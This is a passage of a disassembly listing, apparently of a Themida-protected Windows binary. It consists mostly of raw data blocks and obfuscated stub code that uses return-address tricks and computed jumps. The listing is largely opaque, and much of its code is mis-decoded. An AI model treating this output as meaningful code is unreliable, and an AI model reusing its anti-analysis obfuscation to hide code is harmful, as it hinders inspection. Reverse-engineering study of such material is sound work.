4 add ebp, 4 xchg ebp, [esp+0] pop esp mov esi, [esp-1ECh+arg_1E8] push ecx mov ecx, esp loc_5E735D: ; DATA XREF: Themida_:0057C93Co add ecx, 4 add ecx, 4 xchg ecx, [esp+0] pop esp jmp loc_58E30C ; --------------------------------------------------------------------------- retf 7961h ; --------------------------------------------------------------------------- db 68h, 0BDh, 0A3h ; --------------------------------------------------------------------------- loc_5E7378: ; CODE XREF: sub_5E67F9:loc_5E68DBj mov eax, 61BD8C2h add eax, ebp jmp eax sub_5E67F9 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 60h, 96h, 0D8h dd 0D397CE79h, 68A84B4Ah, 0C21F251Fh, 2D81093Dh, 0DFD46003h dd 8491C82Dh, 5F801112h, 19E42816h, 779B2A1Eh, 3FD8A26h dd 8748DF7Eh, 0FF502615h, 8BC22906h, 0EAC4D022h, 0A1AC0505h dd 0CD3C145Ah, 2483761Fh, 70FA2160h, 6CF80471h, 0CD519421h dd 0B9D4A177h, 2C78040Fh, 0DBD11409h, 2E22D76Fh, 0BF2B7505h dd 0AB8D8D18h, 31061BDAh, 1516CDBDh, 218D8906h, 56061527h dd 0CD85C75Eh, 0B8061504h, 6A000068h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 4591C350h dd 4282AA23h, 0AE960h, 6C3D0000h, 0C413308h, 29368411h dd 2799BD8Bh, 0C7610615h, 15111585h, 6, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0D080846Bh, 0D858979h, 0FF06152Fh, 152921B5h, 52006A06h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 70144F50h, 0D1B58B63h, 0FF061505h, 1502C995h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 0C75F8F12h, 0C800F3Ch, 0F000000h, 68Ch, 559D3100h, 6A061510h dd 2195FF00h, 8B06152Eh, 374DEBC0h, 9B619C89h, 0FFBBAB91h dd 69E1F855h, 97ECA8E1h, 0F602674h, 97A6670Ch, 8B86977Eh dd 48BB7C5h, 4A22DF66h, 65ED1820h, 0AB825DC4h, 33CD7AD2h dd 0A2F1ADF4h, 0FB3832ABh, 0F1F41753h, 30A457CBh, 92D50E48h dd 8ADEF66Dh, 2620980Bh, 12E8h, 59E400h, 0ED5502A5h, 99094C60h dd 9C156A14h, 6630044Dh, 5EA834BBh, 0D5852957h, 5F061521h dd 7542C681h, 8D890000h, 61522E5h, 0B9h, 8BD78B00h, 13E90E04h dd 0D7000000h, 9337349Fh, 742A2AC8h, 3FB88CBh, 33920B34h dd 0E8815CD3h, 2FEED3EEh, 24599D89h, 0F0810615h, 2602A9EAh dd 879B509h, 0C0810615h, 57C93186h, 0A9C38166h, 0BF0F50F2h dd 0E048FFFh, 0BF66D08Bh, 0E981E7D9h, 34C29E55h, 58D0B60h dd 66061517h, 6191F1BFh, 9E51C181h, 14E934C2h, 0DA000000h dd 5D33C453h, 0BC365167h, 0B02807B8h, 5C40023Eh, 81E3A7E7h dd 0FF8BB8F9h, 24850FFFh, 52000000h, 9E9h, 0AFFC8200h dd 9CA8316Dh, 0E95F4D56h, 2Fh, 0CFB8B469h, 286AC9Ah, 4A469DB8h dd 0E9B439ECh, 0Eh, 879DEB8Ch, 0E4C2C7E5h, 0B16FB8D4h dd 3CE9726Bh, 29FFFFFFh, 0E8552FCBh, 0E932BAF8h, 31h, 1E327FF3h dd 0Bh dup(0) dd 58AE900h, 85680000h, 0E9061BDDh, 0FFF9A20Eh, 1BDE0B68h dd 0A204E906h, 0AE68FFF9h, 0E9061BDFh, 0FFF9A1FAh, 491017Dh dd 0BB5ACA2Fh, 0FC990964h, 0C451C127h, 0FA9B0B6Fh, 4FB3EE9Dh dd 86E936DFh, 54B07F16h, 0A12211E4h, 6B736431h, 9D2EB1D8h dd 81BB3C16h, 6056C624h, 1EB8597Eh, 14599133h, 11EE2898h dd 5CDF4C3Eh, 4405D2ECh, 89136722h, 0C995E08Ah, 0F2980868h dd 0F6C8F8C8h, 908F09E1h, 6CF3C434h, 95A74378h, 0EB2E95C7h dd 92108677h, 2EBAE981h, 4D169C9Eh, 5C6DB40Fh, 3F101693h dd 5C5A6B4Bh, 935CB4D9h, 0E7D64116h, 0D444A60Bh, 0C7F27736h dd 837A9DBDh, 8E000003h, 93B68D4Fh, 5A1086F2h, 0F2A4ED58h dd 76471086h, 68D85A59h, 0C0311F82h, 0D00ED000h, 86F22C75h dd 4DBD4210h, 0FBCC7449h, 92764D0Fh, 0DB169BFBh, 0D59134CAh dd 0A20BF952h, 0CE90AEDEh, 0F5950565h, 0E67802C6h, 0DCDAEB15h dd 0D444C1F2h, 8CBC7C36h, 36ABACB2h, 372C95EDh, 0FB6BCCC7h dd 6731B40Fh, 0D1E21F13h, 38680272h, 2C855767h, 67585ECEh dd 0B5258683h, 0C910B3A9h, 0B41F2277h, 0B76C07E3h, 0D949A834h dd 0C9E656DAh, 477D9A34h, 0D32F45AEh, 398h, 38DD4DA9h dd 7F1686EBh, 10E555B0h, 482D9D23h, 0EE757DBh, 1B9F1299h dd 0D255CAABh, 209C9362h, 0ED4EE5B0h, 1F2F987Dh, 9D2F7DA4h dd 0BD7F0016h, 3DB0BABh, 0A2CE1440h, 6D8E916h, 59EC4DADh dd 169D2E30h, 0F9C5EABBh, 74AF9E3h, 0E6169D2Eh, 2E2970D5h dd 0A7D4169Dh, 0E9E6D040h, 54924C6h, 2E256CD7h, 0F7C8169Dh dd 24941613h, 2E4993F2h, 6DC6169Dh, 3FEC9E0Eh, 91B14CBCh dd 0D2B7D028h, 31260E4h, 0CF2F0000h, 869B65Fh, 0C726FD98h dd 0F71BE57h, 0C929F69Fh, 0ACDFBC59h, 542191F1h, 0DE858DFh dd 4F269616h, 22F363E0h, 0F316ADB1h, 7A169D2Ch, 0BAB43F9h dd 0F2365BEAh, 0E4B51086h, 450F3CBh, 0F916A2CEh, 7D481628h dd 169D2E54h, 0AA640617h, 0FE6ECFE4h, 2E6CB10Ch, 282169Dh dd 2A8FA492h, 0D4BD7CBAh, 8E50FAE9h, 38B19549h, 9674AB31h dd 2895B41Bh, 0B09DC396h, 1EEh, 0B62685AEh, 9C0C7380h dd 0E08AA59Ah, 3BC7243Ch, 544D49B9h, 502D69D9h, 7866507Fh dd 0AB253C5Fh, 0A54514FEh, 0FE970764h, 2F2B7B5Ch, 3A857B82h dd 630777F9h, 8559892Dh, 0D02C8557h, 559CC560h, 4E5F1086h dd 5CC9019Ch, 8394169Bh, 8BF376BBh, 0A2F68657h, 36D4FBBCh dd 3B507DF8h, 26861693h, 0C7380B6h, 11B49A9Ch, 16933BC8h dd 52C3E2B3h, 67D2786Bh, 0E86CD178h, 0A50E9DBDh, 0B37D343h dd 3Fh, 0DB0BAB1Fh, 0DB4BAE03h, 3608E2DBh, 37A70B28h, 95300EFFh dd 1086F24Ch, 516C1E2Fh, 169BF5E1h, 0C18B8B9Ch, 900DED94h dd 7E3DF42h, 9310719Ch, 2C93FE16h, 0BDFC901Dh, 0AF189Dh dd 24F40000h, 0ABB55FC7h, 0C9FD6C34h, 3FC3B0E6h, 59DAC7CFh dd 37B4ADE9h, 39BAF7C7h, 6F5221C9h, 1086F50Ch, 18DE849h dd 4A200F7Fh, 0E4FA6AC9h, 939A2F3h, 0A3226BA7h, 250A0333h dd 0C0802645h, 565CE90h, 0E45FF595h, 169EA8B6h, 4B687647h dd 0BC9E77E7h, 9185F577h, 0DD5DCEBCh, 2A6A906Dh, 0F7FDB7D4h dd 16F7Bh, 474D200h, 0CF3FC271h, 0C7CF926h, 0C636BA69h dd 1282002Fh, 2C672483h, 68B75ECEh, 31FE9707h, 9D9263D3h dd 0FCC7AE1Eh, 2D2E73D2h, 4CCD169Dh, 56C624F0h, 0AB1370BFh dd 8E3BC8ECh, 78A1244Dh, 310868Ah, 63321D32h, 57C724D5h dd 89F1525Fh, 85A19C0Ah, 660F20BDh, 8E508040h, 6056C625h dd 0AB97B6Fh, 169C8021h, 0E656D5DEh, 0BB839404h, 0C108BBA1h dd 431690E3h, 0DF1D8A9Eh, 0C9DA4685h, 2292F021h, 592F6E53h dd 0C2411690h, 514B8C52h, 73C37898h, 0E252B1E2h, 642FDBB4h dd 59DF6BCFh, 0BBF8C6E9h, 0F422C838h, 3AAA092Ah, 3B6703FCh dd 0BCh, 0B1D86B71h, 3C169089h, 0D1044C6Bh, 6955DAA9h dd 0BAB9981h, 851F4EAh, 0F31086F2h, 0F25E8322h, 0C1D1086h dd 60A81B23h, 0D16A2CEh, 71F5CB44h, 9D238FD2h, 7A5D6E16h dd 44748035h, 5BFB695Bh, 0CCCAE5CAh, 0E252B102h, 4003DBB4h dd 169D9319h, 0FA37D3E4h, 1D8DED79h, 6A0B2419h, 0D0C636B5h dd 0ABF15975h, 7A65CC2Eh, 977EEE4Dh, 7BBB2B88h, 600DC491h dd 6851CDB0h, 9CAAEF56h, 40510EC2h, 970769AAh, 0BD9AA49Fh dd 1FA6410Ch, 0EC2AEFAh, 0E5A7B081h, 72E2609Fh, 86644B44h dd 94EA40Bh, 2E67CDC4h, 6DCEC5BCh, 26C4B9FDh, 7F1686E5h dd 0B3E353B0h, 34Fh, 4B2F6B00h, 5C5ACA24h, 4274E447h, 3363D331h dd 4D49B93Eh, 3066D654h, 474FBF43h, 3066D65Ah, 6452C243h dd 3C7AEA4Fh, 306B6878h, 34890000h, 0E1895124h, 4C181h dd 0E9810000h, 4, 5C240C87h, 50242C89h, 405E089h, 2D000000h dd 4, 5C240487h, 68240C89h, 61BDC59h, 81242C8Bh, 4C4h dd 0C8B5400h, 4C48124h, 52000000h, 16B8BE56h, 0F6817B51h dd 7B5116B0h, 15EF289h, 5A2A89CAh, 592434FFh, 0FF04C483h dd 815D2434h, 4C4h, 9C9CE900h, 42E0FFF9h, 0ABFC9EE9h, 0DE83084h dd 9DE983DFh, 1BE142B8h, 0FFC50306h, 65AB9EE0h, 0CFB2E163h dd 0D8EBD744h, 8E6B85Fh, 0D791828h, 0E38D8D5Ch, 6A061BE2h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 6B7DC355h, 302A4E9Eh, 915BD03h, 95090615h dd 6152ED9h, 27218D89h, 6A0615h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1D0424h, 55450000h, 9EC8F7C3h, 5899C50Dh dd 0E8556317h, 10h, 0D2111F3h, 0A076A1Eh, 0F354577Bh, 95187898h dd 0FE9h, 8FBE2600h, 0CD7CA9ABh, 58FC6515h, 63D328A0h dd 0CD85C75Eh, 0E8061504h, 6A000058h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 70AAC350h dd 0FA40F039h, 111585C7h, 615h, 8D890000h, 61528B1h, 1D45B5FFh dd 95890615h, 61518DDh, 2C995FFh, 6A0615h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 2185E4C3h dd 532D40B9h, 6A7BFDC1h, 2195FF00h db 2Eh, 15h ; --------------------------------------------------------------------------- loc_5E7D12: ; DATA XREF: Themida_:0057C2E0o push es mov eax, eax jmp short loc_5E7D22 ; --------------------------------------------------------------------------- db 0B1h dd 0F46A2D21h, 0AAF4FADAh db 6Dh, 7Eh ; --------------------------------------------------------------------------- loc_5E7D22: ; CODE XREF: Themida_:005E7D15j call near ptr sub_5E7D35 cmp eax, [ecx+ebp*4+67h] mov ebp, 6B90E018h mov ds:8653FC66h, eax ; =============== S U B R O U T I N E ======================================= sub_5E7D35 proc far ; CODE XREF: Themida_:loc_5E7D22p ; FUNCTION CHUNK AT 005E7E25 SIZE 0000001D BYTES pop edi add bl, 0DDh add edi, 6F55h mov ebx, edi xor edx, edx jmp loc_5E7D56 ; --------------------------------------------------------------------------- dd 3B62F988h, 13A3C627h, 5C8487C6h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 10h ; --------------------------------------------------------------------------- loc_5E7D56: ; CODE XREF: sub_5E7D35+Ej ; sub_5E7D35+9Dj mov esi, [edi+edx] xor [ebp+6152ED9h], eax add esi, 46AEA33Fh jmp loc_5E7D71 ; --------------------------------------------------------------------------- dw 0C19Ah ; --------------------------------------------------------------------------- inc esi db 66h jns short loc_5E7DE7 daa loc_5E7D71: ; CODE XREF: sub_5E7D35+30j xor esi, 4D008315h mov [ebp+61528A1h], ecx sub esi, 2661471Fh jg loc_5E7D8F mov [ebp+61518A5h], ebx loc_5E7D8F: ; CODE XREF: sub_5E7D35+4Ej push esi mov ax, 28E3h pop dword ptr [edi+edx] mov cx, bx jnz loc_5E7DB4 loc_5E7DA0: ; CODE XREF: sub_5E7D35+B7j jmp loc_5E7DB4 ; --------------------------------------------------------------------------- db 34h, 50h, 0B7h db 0ACh, 2Dh ; --------------------------------------------------------------------------- loc_5E7DAA: ; CODE XREF: sub_5E7D35+B3j pop es pop es ; --------------------------------------------------------------------------- dd 647B8181h, 0A44FE0FDh ; --------------------------------------------------------------------------- loc_5E7DB4: ; CODE XREF: sub_5E7D35+65j ; sub_5E7D35:loc_5E7DA0j sub edx, 6FED859h mov [ebp+6150829h], ebx add edx, 6FED855h sub [ebp+6150C5Dh], eax cmp edx, 0FFFF9170h jnz loc_5E7D56 jmp loc_5E7DF0 ; --------------------------------------------------------------------------- db 2, 0F0h, 73h dd 2A70E526h db 62h, 4Eh, 6 ; --------------------------------------------------------------------------- loc_5E7DE7: ; CODE XREF: sub_5E7D35+38j sahf jecxz short loc_5E7DAA jns short loc_5E7E25 jg short loc_5E7DA0 ; --------------------------------------------------------------------------- dw 9BD2h ; --------------------------------------------------------------------------- loc_5E7DF0: ; CODE XREF: sub_5E7D35+A3j lea ecx, [ebp+61BE49Dh] push 0 push edi call sub_5E7E01 and [edi-3Dh], bl sub_5E7D35 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5E7E01 proc near ; CODE XREF: sub_5E7D35+C4p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Bh inc edi push edi retn sub_5E7E01 endp ; --------------------------------------------------------------------------- mov esi, 0B54AD9CCh mov edx, 8B0FC24Dh add eax, 0BA000000h retn 0C2F2h ; --------------------------------------------------------------------------- db 16h db 89h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5E7D35 loc_5E7E25: ; CODE XREF: sub_5E7D35+B5j lea esp, [ecx] daa adc eax, 0FCE68006h mov dword ptr [ebp+61504CDh], 74C0h push 0 push ebx call sub_5E7E42 and [ebx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5E7D35 ; =============== S U B R O U T I N E ======================================= sub_5E7E42 proc near ; CODE XREF: sub_5E7D35+105p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5E7E42 endp ; --------------------------------------------------------------------------- dw 5FFEh dd 1F2BB3BCh, 816686EBh, 66B00BCFh, 85C7D88Bh, 6151115h dd 0 ; --------------------------------------------------------------------------- push 0 push eax call sub_5E7E77 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E7E77 proc near ; CODE XREF: Themida_:005E7E6Fp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 16h inc eax push eax retn sub_5E7E77 endp ; --------------------------------------------------------------------------- db 97h dd 858970A4h, 61505DDh, 0FFE9DC80h, 1523E1B5h, 5AD88006h dd 2C995FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1B0424h, 52420000h, 21935EC3h, 0BE13BBFFh, 0FF006AD2h dd 152E2195h, 0EBC08B06h, 0C92CB47Ch, 0F2EC95E3h, 9537D659h dd 254A6968h, 0B2705D92h, 89C7628Dh, 794F6B8Ch, 6D37BE1Eh dd 0C52D0A89h, 82B305F9h, 34CBA0B1h, 0D912BE53h, 0C7A74BE0h dd 55890EB4h, 0A4EC67A2h, 0DD9D39F7h, 0C50400F2h, 0B53AABEAh dd 9DBE44AAh, 71AF50FCh, 3BE85EC2h, 0B1B2EC55h, 0ADD80670h dd 4C1A1CCDh, 9FB4662Bh, 901315CBh, 54F862E4h, 0A6AB5692h dd 0D8ECFB13h, 7AFFDAE3h, 9063A468h, 1EE9D4h, 5B490000h dd 1B23h, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5E84A3 ; --------------------------------------------------------------------------- db 6Ah, 0Ch, 9Ch dd 57C72AF9h, 0A41471BEh, 6EDE62D1h, 0AA1A9887h, 0E4DFCCCBh dd 0B07F1686h, 0E936DF4Fh, 0A57A1B8Bh, 943FD646h, 17D6FBCAh dd 0D495169Dh, 57C72468h, 80F0525Fh, 0FC25A0BEh, 7F1086F2h dd 960665AEh, 298A99F4h, 0A28F7DB9h, 4CBDAD1Dh, 2A377FEFh dd 4E8757C7h, 4F5A964Bh, 7AB45674h, 0A2507FE6h, 0B3C009BCh dd 9AAB1086h, 50C043F0h, 9E0E6EC5h, 5CCC28F7h, 60D03182h dd 83B15936h, 0FC7D096Eh, 0A9B58A8Ch, 86B3F71Ah, 8AA57610h dd 0CD00A98Ch, 8BEE7AFAh, 0D261341Bh, 0AE150171h, 1086B36Eh dd 87C2ED8Ch, 97A85B22h, 0E62B9AC4h, 0F81086BFh, 3E0F0777h dd 69D9B182h, 61h, 0DD624F3Dh, 2F8C7D6Dh, 2C5B8DC7h, 7549A9FCh dd 86C58BCEh, 8EA17210h, 0C6DC688h, 88CFEE9Ch, 0EC1086C5h dd 82E7624Dh, 0A97A851h, 1, 55C5241Eh, 89F15061h, 0B5952CF6h dd 377F5001h, 6FDF5C55h, 77B45627h, 199581F1h, 6AC72B92h dd 84F47B07h, 0F892BD92h, 0AF46B63Bh, 2930380h, 0E2624F36h dd 3066D656h, 4946705Fh, 0A21270A1h, 0DE03C29Ch, 341086F2h dd 0F21852B5h, 0FCCD7315h, 0AE13200Eh, 0F53E203Eh, 3B140272h dd 8659478Ah, 75152610h, 0DA4AAAB7h, 0F161C7DCh, 248B02C5h dd 2B88CABFh, 7B258C8h, 1B8BEFD8h, 62E3D07Ah, 1FCBC4F2h dd 0F52191F2h, 251181FCh, 31C1ECA3h, 0CA772B24h, 2BDF07C6h dd 0A83A2D80h, 849397h, 24A70000h, 46B63AC6h, 8E507F50h dd 91897A49h, 0C4A6620Fh, 6CDC594Ah, 802FB62Ah, 4EBE4172h dd 9B0B6F9Ch, 5DC525FAh, 38AE833Fh, 68AE81B4h, 0B985F57Bh dd 4BF920A3h, 97841086h, 9C71A515h, 0F118ABB3h, 7C10864Bh dd 0F355BFABh, 65B8913Ch, 0CB97A8D5h, 45h, 0F1B0D401h dd 0C8DAC955h, 0C3BCFA6Ah, 2416FEECh, 7E6056C6h, 4E48B835h dd 4768D855h, 960666A3h, 4B7227A0h, 0E78EFE7Ch, 7DED4E63h dd 0C524A58Dh, 0BAE26155h, 0B81086F2h, 2EBB8E41h, 0B697A81Ah dd 1, 59C924D2h, 83666F5Dh, 0C40A22DEh, 7CBA2A8Fh, 4DBEAC83h dd 54E062EEh, 4B4B64D4h, 5A595D72h, 42C304ABh, 0F33F62E1h dd 0D1BE1086h, 3A130373h, 4B5B3A15h, 0E0637BABh, 169BFD44h dd 0D5CEC8D9h, 200FE656h, 2A2B33A3h, 82F50B54h, 0C3711911h dd 93EE1B40h, 8D40E916h, 0AC49B93Ah, 9284F477h, 2C122A1h dd 1693EEDFh, 9B38959Eh, 9CAA05DBh, 0DF9A9CB3h, 43C007B6h dd 0A6F42D3h, 929DBDD1h, 122h, 0DB0BABA6h, 0F6304003h dd 0FCCD169Bh, 0FE6ED1E2h, 0E923C7B8h, 0BBDF3223h, 0D4BADC7Eh dd 93742871h, 0EDC2D316h, 3FAF0CFDh, 0FA6AC956h, 0D444A7BCh dd 3F6E27E2h, 0DABB2B88h, 0BDA062C7h, 75EA9Dh, 4FBE0000h dd 0F293B68Dh, 495A1086h, 1A4AF7A1h, 9A191A44h, 0F2478A39h dd 15261086h, 0C75503Ah, 4D9086F2h, 3D1F87E4h, 0D693AC4Ch dd 3165052Ah, 76683660h, 79148ACFh, 0CAA0716Fh, 7914B6DBh dd 5F4EB56Fh, 1C2252EFh, 59E81542h, 796FD28Bh, 0BA9D6D06h dd 0A04AE6DBh, 7935FC05h, 90AE7FEFh, 1B889CEh, 0BA5C1B53h dd 799BC60Bh, 0F694A5EFh, 6C1997h, 0ABED0000h, 4003DB0Bh dd 169C0670h, 0E9FA3C0Dh, 0A47B1A8Ah, 0FDDFD747h, 24C636B4h dd 93E75779h, 416C1D16h, 0E0B52586h, 0E8F626DAh, 0CF3FBDF6h dd 0C23A801Bh, 724310B7h, 5CCC2F44h, 5BE7495Ah, 5E2F67D7h dd 0D12C4571h, 13603561h, 0D3CF9AE3h, 6C53DA56h, 0F8E74E77h dd 6C72A256h, 9239D3D9h, 5BDFF81Ah, 0EE994AEEh, 4D5E4228h dd 0BAB84A8h, 4AAE03DBh, 302E30DAh, 0F272972Eh, 0CF91086h dd 2FB3BABh, 585E3D2Dh, 0E116A2D7h, 4FC90ED0h, 588C5E4Ah dd 8375181Dh, 96BE3FB4h, 0CA293AF4h, 0C68FBB5Ah db 84h, 0 word_5E837E dw 9F25h ; DATA XREF: Themida_:00579D60o dd 0B7741687h, 0D949A834h, 9C45C0F6h, 4F2BA41Dh, 71D2F5E8h dd 3CBF7401h, 0AF04CACCh, 0E3DCDA4Ah, 416D9CD4h, 7F6B56C8h dd 18C62E92h, 69F599D0h, 5C575F70h, 66C502ADh, 4FF6E8F6h dd 33D2840Ah, 2B4A20F1h, 8AEB77F4h, 0C231C1Ah, 8EEF440Ah dd 1A506C1Eh, 8E000000h, 84ACF550h, 3DC233D2h, 0A84253CDh dd 0B68D4F74h, 1086F293h, 7BA1495Ah, 5ACA247Fh, 74E4475Ch dd 63D33142h, 49B93E33h, 66D6544Dh, 4FBF4330h, 66D65A47h dd 52C24330h, 7AEA4F64h, 8957783Ch, 4C781E7h, 83000000h dd 3C8704EFh, 24248B24h, 4B9668h, 24048900h, 197D68h, 243C8900h dd 3D53B951h, 0BD550972h, 62BF5AABh, 0F581DDF7h, 0D30CAF57h dd 415DE909h, 5A0EE981h, 0C8894962h, 4EC8159h, 89000000h dd 4832424h, 515F0424h, 8151C189h, 7B32242Ch, 478F6058h dd 8478108h, 60587B32h, 243C8B59h, 81E28952h, 4C2h, 4C28100h dd 87000000h, 0FF5C2414h, 81582434h, 4C4h, 93E0E900h db 0F9h, 0FFh, 6Ah ; --------------------------------------------------------------------------- loc_5E84A3: ; CODE XREF: Themida_:005E7F70j mov eax, 61BE9E7h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 10265175h, 2121562Eh, 4DBA888Bh, 4B3F57ADh, 2303CEEEh dd 2D99BAF9h, 4F015CD8h, 1EE0E726h, 64CB27CCh, 7478BCA1h dd 19B0304Ch, 44A20598h, 53ECAAABh, 7BC84A10h, 3D65B4DDh dd 3B5E77C7h, 68F1240Ah, 77F82C3Bh, 3315454Fh, 66720FC9h dd 0EBBF8D8Dh, 6A061Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 91B856C3h, 0F91F092Ah, 661803FFh dd 0BF66C78Bh, 8D89ACBCh, 6152721h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 0E3C35141h, 4CD85C7h, 711C0615h dd 852B0000h, 6150061h, 111585C7h, 615h, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 1ED247C3h, 0B1C2E2C1h, 0FFE4F3E0h, 1533A9B5h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0B5331A79h, 6150C95h, 1C984ABFh, 0C995FF3Ah, 6A061502h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h dd 46000000h, 0FE02C356h, 2585312Ah, 6A061526h, 2195FF00h dd 8B06152Eh, 0F94FEBC0h, 0A3E6C2A9h, 77A139F3h, 0A0FC0DDFh dd 0F74E152Ch, 471274B3h, 1AC5F48Bh, 408C77Bh, 0AC97F48Dh dd 2ED02C8Dh, 0E854DE78h, 1A3404C1h, 7CF98AF4h, 5E52DD3Dh dd 6708A0F8h, 0BA8A9792h, 692826ACh, 4C790D0Ah, 0B3AD0ED0h dd 682132AAh, 14E80E35h, 9A000000h, 0E08815Ch, 0BC1D6995h dd 505F8249h, 0DB59E1C8h, 0E9C53FB1h, 7, 45D513C8h, 5AFFEF2Fh dd 2D21BD8Bh, 0C2810615h, 5C4Ch, 5E8h, 65A1D700h, 85890080h dd 615035Dh, 6859h, 58FC0000h, 8B02348Bh, 1521098Dh, 0DF68106h dd 66117836h, 8189ACB9h, 30D4DEEh, 0E0F7807Dh, 0CBCBC681h dd 890F1CC9h, 0Dh, 5E8h, 61A7E00h, 0F88B7AA2h, 2348959h dd 12E9h, 7159A700h, 0EAE7A9C4h, 3E20835h, 822B580Dh, 0E8F68B79h dd 0Ah, 0D998094h, 0B1BAC186h, 8D8988C8h, 6150839h, 4E88359h dd 0F8815B57h, 0FFFFA4A8h, 29850Fh, 10E90000h, 0C1000000h dd 58328B05h, 7F37F006h, 52800720h, 0E9784BC3h, 23h, 83E112D6h dd 0BCE889CBh, 8DEFED6Ah, 318F643Dh, 15151D9Dh, 0FF56E906h dd 2ADAFFFFh, 1567D184h, 0E8577E57h, 0Fh, 0AC40B2F5h, 7FA13104h dd 0F9B8EE6Ah, 0E9409CB2h, 0Dh, 71975F9Fh, 527555DAh, 4EE7CD66h dd 0C1815931h, 64C2h, 107D958Bh, 0F62B0615h, 31048BFCh dd 0C820Fh, 830F0000h, 6, 27258D29h, 0E8810615h, 1F47D56Ah dd 2FD8D89h, 0F0810615h, 75CA0433h, 0ABF081F8h, 8B4CD959h dd 310489F8h, 6820Fh, 958B0000h, 6152E75h, 81D2B70Fh, 7B1297EEh dd 65958B5Ah, 81061534h, 7B1293C6h, 5D85895Ah, 8106150Ch dd 0FF9C04FEh, 1D850FFFh, 89000000h, 15028595h, 28E906h dd 6DB00000h, 0BDCEBA1Ch, 96FC7B39h, 2EE9B2D4h, 23E64277h dd 76E9F2B2h, 28FFFFFFh, 549ED13Dh, 42809728h, 4572A9C9h dd 8D8D51C6h, 61BEE7Ch, 2CDAEDB8h, 218D893Fh, 6A061527h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 15042444h dd 46000000h, 5CADC356h, 169D952Bh, 85C70615h, 61504CDh dd 682Ch, 0BE9h, 36E26D00h, 9975820Fh, 0BDEFDD68h, 111585C7h dd 615h, 0B5030000h, 6152479h, 2E0DB5FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 514DE3C3h, 0B8F18BDCh, 55AFBA1Dh, 2C995FFh, 0F7810615h dd 3076761Fh, 95FF006Ah, 6152E21h, 7CEBC08Bh, 42B8D16Fh dd 0A48E8B51h, 0A045BC39h, 8AA2361Fh, 10EB21C7h, 233B6E9Dh dd 25AC0F00h, 7DFA9DC4h, 12547894h, 67E79C67h, 2F6977DBh dd 973316C3h, 786617E5h, 0B755EC26h, 0B8CA91Bh, 0D2A15AAAh dd 149AA7A8h, 2D54B91Dh, 6880BD1Fh, 930519AAh, 476E1196h dd 1DEDC057h, 2EDE7298h, 2DFBB2DEh, 0A463D86Ch, 0A09286BCh dd 7D1BEBE2h, 17FD050Bh, 0DCFBA3EEh, 0E680DBC2h, 75F47B71h dd 0EF898D8Dh, 0BE66061Bh, 8D89F3AEh, 6152721h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0EEC35141h, 85C76128h dd 61504CDh, 74B4h, 3AD28166h, 61B5890Eh, 0C7061525h, 15111585h dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 370BB745h, 0FFF8F7B0h, 152921B5h dd 0F5858906h, 0FF06152Eh, 1502C995h, 74BA6606h, 0FF006A0Ch dd 152E2195h, 0EBC08B06h, 0C494F94Dh, 22A780A2h, 54680A82h dd 5E153C82h, 476B64D9h, 164BE1CAh, 0DFACD4Bh, 71FFB7E9h dd 0CD6F04B2h, 36693C56h, 88C9A304h, 7F3FCB19h, 0BB1B1978h dd 21556E8Fh, 0BA6E5AA9h, 594F4BC8h, 2FAB4549h, 23EA0DB5h dd 673BA2E1h, 8D8DC7EFh, 61BF0FCh, 2B459589h, 8D890615h dd 6152721h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0A6C35646h, 10A70EEAh, 8160BD99h, 0F82FAFEEh, 659D8907h dd 61061511h, 4CD85C7h, 5E300615h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 487704C3h dd 0CA72ACFh, 55B2763Fh, 19C9B58Bh, 85C70615h, 6151115h dd 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_5E8A97 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5E8A97 proc near ; CODE XREF: Themida_:005E8A8Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5E8A97 endp ; --------------------------------------------------------------------------- db 0E0h dd 0F7EA1979h, 8B01C12Fh, 15065995h, 78A0F06h, 52000000h dd 1A15F4B8h, 0B5FF5829h, 6152E0Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 19h, 0D4C35747h, 6095FFFBh, 0C995FFE4h dd 6A061502h, 